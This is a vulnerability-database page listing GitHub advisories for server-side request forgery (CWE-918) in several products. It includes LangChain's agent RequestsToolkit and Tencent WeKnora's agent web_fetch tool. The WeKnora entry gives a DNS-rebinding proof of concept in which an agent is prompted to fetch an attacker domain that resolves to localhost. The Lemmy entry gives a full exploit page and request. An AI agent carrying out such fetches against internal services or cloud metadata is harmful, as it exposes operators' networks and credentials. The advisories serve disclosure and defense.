Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6190 vulnerabilities reference this CWE, most recent first.

GHSA-H5GC-RM8J-5GPR

Vulnerability from github – Published: 2025-06-23 21:31 – Updated: 2025-07-17 21:58
VLAI
Summary
LangChain Community SSRF vulnerability exists in RequestsToolkit component
Details

A Server-Side Request Forgery (SSRF) vulnerability exists in the RequestsToolkit component of the langchain-community package (specifically, langchain_community.agent_toolkits.openapi.toolkit.RequestsToolkit) in langchain-ai/langchain version 0.0.27. This vulnerability occurs because the toolkit does not enforce restrictions on requests to remote internet addresses, allowing it to also access local addresses. As a result, an attacker could exploit this flaw to perform port scans, access local services, retrieve instance metadata from cloud environments (e.g., Azure, AWS), and interact with servers on the local network. This issue has been fixed in version 0.0.28.

Severity
8.4 (High)
CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langchain-community"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-2828"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-25T18:45:48Z",
    "nvd_published_at": "2025-06-23T21:15:25Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability exists in the RequestsToolkit component of the langchain-community package (specifically, langchain_community.agent_toolkits.openapi.toolkit.RequestsToolkit) in langchain-ai/langchain version 0.0.27. This vulnerability occurs because the toolkit does not enforce restrictions on requests to remote internet addresses, allowing it to also access local addresses. As a result, an attacker could exploit this flaw to perform port scans, access local services, retrieve instance metadata from cloud environments (e.g., Azure, AWS), and interact with servers on the local network. This issue has been fixed in version 0.0.28.",
  "id": "GHSA-h5gc-rm8j-5gpr",
  "modified": "2025-07-17T21:58:01Z",
  "published": "2025-06-23T21:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2828"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/commit/e188d4ecb085d4561a0be3c583d26aa9c2c3283f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain-community"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/langchain-community/PYSEC-2025-70.yaml"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/8f771040-7f34-420a-b96b-5b93d4a99afc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LangChain Community SSRF vulnerability exists in RequestsToolkit component "
}

GHSA-H5GQ-JFP4-V5FH

Vulnerability from github – Published: 2022-12-29 21:30 – Updated: 2023-01-09 21:30
VLAI
Details

Protections against potential Server-Side Request Forgery (SSRF) vulnerabilities in Esri Portal for ArcGIS versions 10.8.1 and below were not fully honored and may allow a remote, unauthenticated attacker to forge requests to arbitrary URLs from the system, potentially leading to network enumeration or reading from hosts inside the network perimeter, a different issue than CVE-2022-38211 and CVE-2022-38212.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-38203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-29T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Protections against potential Server-Side Request Forgery (SSRF) vulnerabilities in Esri Portal for ArcGIS versions 10.8.1 and below were not fully honored and may allow a remote, unauthenticated attacker to forge requests to arbitrary URLs from the system, potentially leading to network enumeration or reading from hosts inside the network perimeter, a different issue than CVE-2022-38211 and CVE-2022-38212.",
  "id": "GHSA-h5gq-jfp4-v5fh",
  "modified": "2023-01-09T21:30:22Z",
  "published": "2022-12-29T21:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38203"
    },
    {
      "type": "WEB",
      "url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/portal-for-arcgis-security-2022-update-2-patch-is-now-available"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H5RG-8P7F-47G2

Vulnerability from github – Published: 2026-06-19 22:10 – Updated: 2026-06-19 22:10
VLAI
Summary
SurrealDB: SSRF via JWKS URL — Redirect Following in JWT Key Fetch
Details

SurrealDB fetches the JWKS document for a JWT or record access method using a bare reqwest client that follows HTTP redirects by default. The network capability check in core/src/iam/jwks.rs (check_capabilities_url) is applied only to the originally configured URL; redirect targets are not re-validated. An --allow-net-permitted JWKS host that returns a 3xx Location can therefore redirect the request to an address the allowlist was meant to block, resulting in a server-side request forgery (SSRF). The protected HttpClient used by http::* functions re-checks every redirect hop and was hardened in 3.1.0, but the JWKS fetcher uses its own client and was not covered.

Impact

What an attacker can do:

  • With the Owner role at database level or above (the minimum required to run DEFINE ACCESS ... TYPE JWT URL or TYPE RECORD ... WITH JWT URL), point an access method at an allowlisted host they control and redirect the server's GET to an otherwise-blocked target — cloud metadata, loopback, internal services — bypassing --allow-net/--deny-net.
  • Infer the existence and liveness of internal hosts and ports from response-timing differences (bounded by the 1-second fetch timeout).

What it can't do:

  • Read the response: the fetch is blind — the body is only parsed as a JWKS, and a non-JWKS response surfaces as an opaque InvalidAuth error. Nothing is returned to the caller.
  • Modify data or affect availability (a single GET request).

Patches

The JWKS fetcher now applies a redirect policy that re-validates every redirect target against the configured network capabilities (mirroring check_capabilities_url) and caps redirects at max_http_redirects.

  • Versions prior to 3.1.5 are vulnerable.

Workarounds

  • Restrict the Owner role to trusted operators.
  • Enforce egress filtering at the network layer (block link-local 169.254.0.0/16 and internal ranges) so redirect targets are unreachable regardless of in-process checks.
  • Configure access methods to use only trusted JWKS hosts that do not redirect, or use locally defined keys instead of a remote JWKS.

References

Severity
4.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T22:10:45Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "SurrealDB fetches the JWKS document for a JWT or record access method using a bare `reqwest` client that follows HTTP redirects by default. The network capability check in `core/src/iam/jwks.rs` (`check_capabilities_url`) is applied only to the originally configured URL; redirect targets are not re-validated. An `--allow-net`-permitted JWKS host that returns a `3xx Location` can therefore redirect the request to an address the allowlist was meant to block, resulting in a server-side request forgery (SSRF). The protected `HttpClient` used by `http::*` functions re-checks every redirect hop and was hardened in 3.1.0, but the JWKS fetcher uses its own client and was not covered.\n\n### Impact\n\nWhat an attacker **can** do:\n\n- With the **Owner** role at database level or above (the minimum required to run `DEFINE ACCESS ... TYPE JWT URL` or `TYPE RECORD ... WITH JWT URL`), point an access method at an allowlisted host they control and redirect the server\u0027s GET to an otherwise-blocked target \u2014 cloud metadata, loopback, internal services \u2014 bypassing `--allow-net`/`--deny-net`.\n- Infer the existence and liveness of internal hosts and ports from response-timing differences (bounded by the 1-second fetch timeout).\n\nWhat it **can\u0027t** do:\n\n- Read the response: the fetch is blind \u2014 the body is only parsed as a JWKS, and a non-JWKS response surfaces as an opaque `InvalidAuth` error. Nothing is returned to the caller.\n- Modify data or affect availability (a single GET request).\n\n### Patches\n\nThe JWKS fetcher now applies a redirect policy that re-validates every redirect target against the configured network capabilities (mirroring `check_capabilities_url`) and caps redirects at `max_http_redirects`.\n\n- Versions prior to 3.1.5 are vulnerable.\n\n### Workarounds\n\n- Restrict the Owner role to trusted operators.\n- Enforce egress filtering at the network layer (block link-local `169.254.0.0/16` and internal ranges) so redirect targets are unreachable regardless of in-process checks.\n- Configure access methods to use only trusted JWKS hosts that do not redirect, or use locally defined keys instead of a remote JWKS.\n\n### References\n\n- [SurrealDB Documentation \u2014 Capabilities](https://surrealdb.com/docs/surrealdb/security/capabilities)\n- [SurrealQL Documentation \u2014 DEFINE ACCESS](https://surrealdb.com/docs/surrealql/statements/define/access)\n- `fix(iam): prevent SSRF in JWKS fetch by re-validating redirect targets`",
  "id": "GHSA-h5rg-8p7f-47g2",
  "modified": "2026-06-19T22:10:45Z",
  "published": "2026-06-19T22:10:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-h5rg-8p7f-47g2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/surrealdb/surrealdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SurrealDB: SSRF via JWKS URL \u2014 Redirect Following in JWT Key Fetch"
}

GHSA-H5RR-P7MM-2Q67

Vulnerability from github – Published: 2026-08-04 09:31 – Updated: 2026-08-04 18:31
VLAI
Details

The Visualizer WordPress plugin before 4.0.6 does not restrict a user-supplied URL to safe address ranges before fetching it server-side, allowing users with Contributor-level access and above to perform Server-Side Request Forgery against link-local instance-metadata endpoints. As the fetched response is returned in the reply, the attack is non-blind, enabling retrieval of cloud instance metadata (including IAM credentials) on cloud-hosted sites.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-14939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-04T07:16:29Z",
    "severity": "MODERATE"
  },
  "details": "The Visualizer  WordPress plugin before 4.0.6 does not restrict a user-supplied URL to safe address ranges before fetching it server-side, allowing users with Contributor-level access and above to perform Server-Side Request Forgery against link-local instance-metadata endpoints. As the fetched response is returned in the reply, the attack is non-blind, enabling retrieval of cloud instance metadata (including IAM credentials) on cloud-hosted sites.",
  "id": "GHSA-h5rr-p7mm-2q67",
  "modified": "2026-08-04T18:31:25Z",
  "published": "2026-08-04T09:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14939"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/b9a6211c-3173-4dd6-8a8d-32be248762bb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H65F-46FV-R349

Vulnerability from github – Published: 2024-06-26 12:32 – Updated: 2024-06-26 12:32
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Blossom Themes BlossomThemes Email Newsletter.This issue affects BlossomThemes Email Newsletter: from n/a through 2.2.6.

Severity
4.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-37098"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-26T11:15:51Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Blossom Themes BlossomThemes Email Newsletter.This issue affects BlossomThemes Email Newsletter: from n/a through 2.2.6.",
  "id": "GHSA-h65f-46fv-r349",
  "modified": "2024-06-26T12:32:05Z",
  "published": "2024-06-26T12:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37098"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/blossomthemes-email-newsletter/wordpress-blossomthemes-email-newsletter-plugin-2-2-7-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H65G-JFQG-2W6M

Vulnerability from github – Published: 2022-03-08 00:00 – Updated: 2022-03-15 21:52
VLAI
Summary
Server-Side Request Forgery in calibreweb
Details

calibreweb prior to version 0.6.17 is vulnerable to server-side request forgery (SSRF). This is a result of incomplete SSRF protection that can be bypassed via an HTTP redirect. An HTTP server set up to respond with a 302 redirect may redirect a request to localhost.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "calibreweb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-0767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-03-08T18:11:08Z",
    "nvd_published_at": "2022-03-07T07:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "calibreweb prior to version 0.6.17 is vulnerable to server-side request forgery (SSRF). This is a result of incomplete SSRF protection that can be bypassed via an HTTP redirect. An HTTP server set up to respond with a 302 redirect may redirect a request to `localhost`.",
  "id": "GHSA-h65g-jfqg-2w6m",
  "modified": "2022-03-15T21:52:59Z",
  "published": "2022-03-08T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0767"
    },
    {
      "type": "WEB",
      "url": "https://github.com/janeczku/calibre-web/commit/965352c8d96c9eae7a6867ff76b0db137d04b0b8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/janeczku/calibre-web"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/b26fc127-9b6a-4be7-a455-58aefbb62d9e"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery in calibreweb"
}

GHSA-H66J-XM43-47PP

Vulnerability from github – Published: 2026-01-15 18:31 – Updated: 2026-01-15 22:39
VLAI
Summary
Umbraco CMS contains a server-side request forgery vulnerability
Details

Umbraco CMS v8.14.1 contains a server-side request forgery vulnerability that allows attackers to manipulate baseUrl parameters in multiple dashboard and help controller endpoints. Attackers can craft malicious requests to the GetContextHelpForPage, GetRemoteDashboardContent, and GetRemoteDashboardCss endpoints to trigger unauthorized server-side requests to external hosts.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "UmbracoCms"
      },
      "versions": [
        "8.14.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2021-47776"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-15T22:39:22Z",
    "nvd_published_at": "2026-01-15T16:16:09Z",
    "severity": "MODERATE"
  },
  "details": "Umbraco CMS v8.14.1 contains a server-side request forgery vulnerability that allows attackers to manipulate baseUrl parameters in multiple dashboard and help controller endpoints. Attackers can craft malicious requests to the GetContextHelpForPage, GetRemoteDashboardContent, and GetRemoteDashboardCss endpoints to trigger unauthorized server-side requests to external hosts.",
  "id": "GHSA-h66j-xm43-47pp",
  "modified": "2026-01-15T22:39:22Z",
  "published": "2026-01-15T18:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47776"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/umbraco/Umbraco-CMS"
    },
    {
      "type": "WEB",
      "url": "https://our.umbraco.com"
    },
    {
      "type": "WEB",
      "url": "https://releases.umbraco.com/all-releases"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/50462"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Umbraco CMS contains a server-side request forgery vulnerability"
}

GHSA-H6GW-8F77-MMMP

Vulnerability from github – Published: 2026-03-06 23:56 – Updated: 2026-03-09 13:21
VLAI
Summary
WeKnora has DNS Rebinding Vulnerability in web_fetch Tool that Allows SSRF to Internal Resources
Details

Summary

A DNS rebinding vulnerability in the web_fetch tool allows an unauthenticated attacker to bypass URL validation and access internal resources on the server, including private IP addresses (e.g., 127.0.0.1, 192.168.x.x). By crafting a malicious domain that resolves to a public IP during validation and subsequently resolves to a private IP during execution, an attacker can access sensitive local services and potentially exfiltrate data.

Details

The vulnerability exists because the web_fetch tool lacks complete DNS pinning. The application performs URL validation only once via validateParams(), but the URL is then passed unchanged to the fetchHTMLContent() function, which eventually reaches fetchWithChromedp(). The headless browser (Chromedp) resolves the hostname independently without DNS pinning, allowing a time-of-check-time-of-use (TOCTOU) attack.

Validation phase (first DNS resolution):

if err := t.validateParams(p); err != nil {
    // Returns error for private IPs
    results[index] = &webFetchItemResult{
        err: err,
        // ...
    }
    return
}

Execution phase (second DNS resolution): The original URL (not the resolved IP) is passed through the execution chain:

output, data, err := t.executeFetch(ctx, p)
// Calls fetchHTMLContent(ctx, targetURL) where targetURL is the original hostname

Chromedp execution (vulnerable DNS resolution):

func (t *WebFetchTool) fetchWithChromedp(ctx context.Context, targetURL string) (string, error) {
    // targetURL is not DNS-pinned; browser resolves it independently
    err := chromedp.Run(ctx,
        chromedp.Navigate(targetURL),  // Third DNS lookup occurs here
        chromedp.WaitReady("body", chromedp.ByQuery),
        chromedp.OuterHTML("html", &html),
    )
}

The attacker controls a domain that can be configured to return different DNS responses to different queries, enabling them to bypass the initial private IP check and access restricted resources during the actual fetch.

PoC

Setup: 1. Deploy the DNS rebinding server (attached Python file) with the following systemd configuration:

```systemd [Unit] Description=DNS Rebinding Test Server After=network.target

[Service] Type=simple User=root WorkingDirectory=/root/Repos/dns-rebinding-server ExecStart=/root/.proto/shims/python -u /root/Repos/dns-rebinding-server/server.py --token aleister1102 --domain aleister.ninja --port 53 --global-tracking --ip1 1.1.1.1 --ip2 0.0.0.0 --first-response-count 1 --reset-time 0 Restart=always RestartSec=3

[Install] WantedBy=multi-user.target ```

This configures the DNS server to: - Return 1.1.1.1 (a public IP) for the first DNS query - Return 127.0.0.1 (localhost) for all subsequent queries - TTL is set to 0 to prevent caching

The sequence can also be reset via reset.domain.com (reset to 1.1.1.1).

Note: We may need to reset the sequence as the TOCTOU attack is not truly reliable and needs to be triggered multiple times.

  1. Set up a simple HTTP server on the localhost of the backend service:

bash python -m http.server 8888

  1. Configure the malicious domain to point to the DNS rebinding server

Execution: 1. Enable web search on an agent. 2. Prompt the agent to fetch content from the attacker-controlled domain (e.g., http://attacker.example.com) 3. The sequence of events: - First DNS query (validation phase): attacker.example.com → 1.1.1.1 ✓ Passes validation - Second DNS query (execution phase): attacker.example.com → 127.0.0.1 ✗ Bypass achieved - The web_fetch tool successfully connects to 127.0.0.1:8080 and returns the local server's content

Result: The attacker gains access to the local HTTP server and can read its content, demonstrating that internal resources are now accessible through the rebinding attack.

image

PoC video:

https://github.com/user-attachments/assets/68daaa87-4b9b-4b6e-b6f6-ee123f5fcda9

Impact

Vulnerability Type: DNS Rebinding / Server-Side Request Forgery (SSRF)

Who is impacted: - Any user or agent with web search capability can exploit this vulnerability - The vulnerability grants access to internal services, configuration files, metadata services, and other sensitive resources normally restricted to the internal network - In cloud environments, this could allow access to metadata endpoints (e.g., AWS IMDSv1) to obtain credentials and secrets\

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.14"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/Tencent/WeKnora"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30858"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-06T23:56:22Z",
    "nvd_published_at": "2026-03-07T17:15:53Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA DNS rebinding vulnerability in the `web_fetch` tool allows an unauthenticated attacker to bypass URL validation and access internal resources on the server, including private IP addresses (e.g., 127.0.0.1, 192.168.x.x). By crafting a malicious domain that resolves to a public IP during validation and subsequently resolves to a private IP during execution, an attacker can access sensitive local services and potentially exfiltrate data.\n\n### Details\n\nThe vulnerability exists because the `web_fetch` tool lacks complete DNS pinning. The application performs URL validation only once via `validateParams()`, but the URL is then passed unchanged to the `fetchHTMLContent()` function, which eventually reaches `fetchWithChromedp()`. The headless browser (Chromedp) resolves the hostname independently without DNS pinning, allowing a time-of-check-time-of-use (TOCTOU) attack.\n\n**Validation phase (first DNS resolution):**\n```go\nif err := t.validateParams(p); err != nil {\n    // Returns error for private IPs\n    results[index] = \u0026webFetchItemResult{\n        err: err,\n        // ...\n    }\n    return\n}\n```\n\n**Execution phase (second DNS resolution):**\nThe original URL (not the resolved IP) is passed through the execution chain:\n```go\noutput, data, err := t.executeFetch(ctx, p)\n// Calls fetchHTMLContent(ctx, targetURL) where targetURL is the original hostname\n```\n\n**Chromedp execution (vulnerable DNS resolution):**\n```go\nfunc (t *WebFetchTool) fetchWithChromedp(ctx context.Context, targetURL string) (string, error) {\n    // targetURL is not DNS-pinned; browser resolves it independently\n    err := chromedp.Run(ctx,\n        chromedp.Navigate(targetURL),  // Third DNS lookup occurs here\n        chromedp.WaitReady(\"body\", chromedp.ByQuery),\n        chromedp.OuterHTML(\"html\", \u0026html),\n    )\n}\n```\n\nThe attacker controls a domain that can be configured to return different DNS responses to different queries, enabling them to bypass the initial private IP check and access restricted resources during the actual fetch.\n\n### PoC\n\n**Setup:**\n1. Deploy the DNS rebinding server (attached Python file) with the following systemd configuration:\n\n```systemd\n[Unit]\nDescription=DNS Rebinding Test Server\nAfter=network.target\n\n[Service]\nType=simple\nUser=root\nWorkingDirectory=/root/Repos/dns-rebinding-server\nExecStart=/root/.proto/shims/python -u /root/Repos/dns-rebinding-server/server.py --token aleister1102 --domain aleister.ninja --port 53 --global-tracking --ip1 1.1.1.1 --ip2 0.0.0.0 --first-response-count 1 --reset-time 0\nRestart=always\nRestartSec=3\n\n[Install]\nWantedBy=multi-user.target\n ```\n \n This configures the DNS server to:\n - Return `1.1.1.1` (a public IP) for the first DNS query\n - Return `127.0.0.1` (localhost) for all subsequent queries\n - TTL is set to 0 to prevent caching\n \n The sequence can also be reset via reset.domain.com (reset to 1.1.1.1).\n \n \u003e Note: We may need to reset the sequence as the TOCTOU attack is not truly reliable and needs to be triggered multiple times.\n\n2. Set up a simple HTTP server on the localhost of the backend service:\n\n ```bash\n python -m http.server 8888\n ```\n\n3. Configure the malicious domain to point to the DNS rebinding server\n\n**Execution:**\n1. Enable web search on an agent.\n2. Prompt the agent to fetch content from the attacker-controlled domain (e.g., `http://attacker.example.com`)\n3. The sequence of events:\n   - **First DNS query** (validation phase): `attacker.example.com` \u2192 `1.1.1.1` \u2713 Passes validation\n   - **Second DNS query** (execution phase): `attacker.example.com` \u2192 `127.0.0.1` \u2717 Bypass achieved\n   - The `web_fetch` tool successfully connects to `127.0.0.1:8080` and returns the local server\u0027s content\n\n**Result:**\nThe attacker gains access to the local HTTP server and can read its content, demonstrating that internal resources are now accessible through the rebinding attack.\n\n\u003cimg width=\"1920\" height=\"1080\" alt=\"image\" src=\"https://github.com/user-attachments/assets/897e8494-f39e-49ce-a02a-5832bb84a73f\" /\u003e\n\nPoC video:\n\nhttps://github.com/user-attachments/assets/68daaa87-4b9b-4b6e-b6f6-ee123f5fcda9\n\n### Impact\n**Vulnerability Type:** DNS Rebinding / Server-Side Request Forgery (SSRF)\n\n**Who is impacted:**\n- Any user or agent with web search capability can exploit this vulnerability\n- The vulnerability grants access to internal services, configuration files, metadata services, and other sensitive resources normally restricted to the internal network\n- In cloud environments, this could allow access to metadata endpoints (e.g., AWS IMDSv1) to obtain credentials and secrets\\",
  "id": "GHSA-h6gw-8f77-mmmp",
  "modified": "2026-03-09T13:21:07Z",
  "published": "2026-03-06T23:56:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-h6gw-8f77-mmmp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30858"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Tencent/WeKnora"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WeKnora has DNS Rebinding Vulnerability in web_fetch Tool that Allows SSRF to Internal Resources"
}

GHSA-H6HF-9846-XWRQ

Vulnerability from github – Published: 2026-04-24 15:21 – Updated: 2026-05-13 13:34
VLAI
Summary
Lemmy has SSRF and internal image disclosure in post link metadata via unvalidated og:image
Details

Summary

Lemmy fetches metadata for user-supplied post URLs and, under the default StoreLinkPreviews image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted og:image URL is not subject to the same restriction.

As a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users.

Details

The metadata fetch logic applies an internal-address check only to the initial post URL. After HTML parsing, extract_opengraph_data() accepts absolute og:image values and returns them as-is. Later, generate_post_link_metadata() passes that second-hop image URL into generate_pictrs_thumbnail(), which instructs local pict-rs to fetch it through image/download?url=....

This creates a two-stage source-to-sink chain where the first URL is constrained, but the security boundary is bypassed through an unvalidated secondary resource.

Core vulnerable code path:

// crates/api_common/src/request.rs
let metadata = match &post.url {
  Some(url) => fetch_link_metadata(url, &context, false).await.unwrap_or_default(),
  _ => Default::default(),
};

// crates/api_common/src/request.rs
let og_image = page
  .opengraph
  .images
  .first()
  .and_then(|ogo| url.join(&ogo.url).ok());

// crates/api_common/src/request.rs
let thumbnail_url = if let (true, Some(url)) = (allow_generate_thumbnail, image_url.clone()) {
  generate_pictrs_thumbnail(&url, &context).await.ok().map(Into::into).or(image_url)
} else {
  image_url.clone()
};

// crates/api_common/src/request.rs
let fetch_url = format!(
  "{}image/download?url={}&resize={}",
  pictrs_config.url,
  encode(image_url.as_str()),
  context.settings().pictrs_config()?.max_thumbnail_size
);

These snippets show that only the outer page URL is checked, while the extracted og:image value becomes a server-side fetch target without an equivalent internal-address guard.

PoC

Prerequisites:

  • The attacker has a valid low-privileged account.
  • The instance uses the default link preview storage mode.
  • The attacker can post a link to a community they can access.

Practical reproduction flow:

  1. Host a public HTML page under attacker control.
  2. Add an Open Graph image tag whose value points to an internal image URL reachable from the Lemmy host, such as http://127.0.0.1:8081/internal.png.
  3. Create a Lemmy post whose url is the attacker-controlled page.
  4. Observe Lemmy fetch the public page, extract og:image, and then fetch the internal image through pict-rs.
  5. Observe the created post receive a local thumbnail URL, demonstrating that the internal image was retrieved and cached.

Complete PoC attacker page:

<html><head>
<meta property="og:image" content="http://127.0.0.1:8081/internal.png">
</head><body>x</body></html>

Complete PoC request:

POST /api/v3/post HTTP/1.1
Host: victim.example
Authorization: Bearer <low-priv-jwt>
Content-Type: application/json

{
  "name": "thumb-ssrf",
  "community_id": 1,
  "url": "https://attacker.example/og.html",
  "body": null,
  "alt_text": null,
  "honeypot": null,
  "nsfw": false,
  "language_id": null,
  "custom_thumbnail": null
}

Outcome:

  • The post creation request succeeds.
  • The internal image endpoint receives a request from the Lemmy server.
  • The created post is updated with a local thumbnail_url, indicating that the internal image was fetched and cached.

Impact

This issue upgrades an attacker-controlled external page into an internal image fetch primitive. It can be used to retrieve internal image resources, expose content that is otherwise reachable only from the application host, and publish those internal resources through Lemmy's own thumbnail serving path.

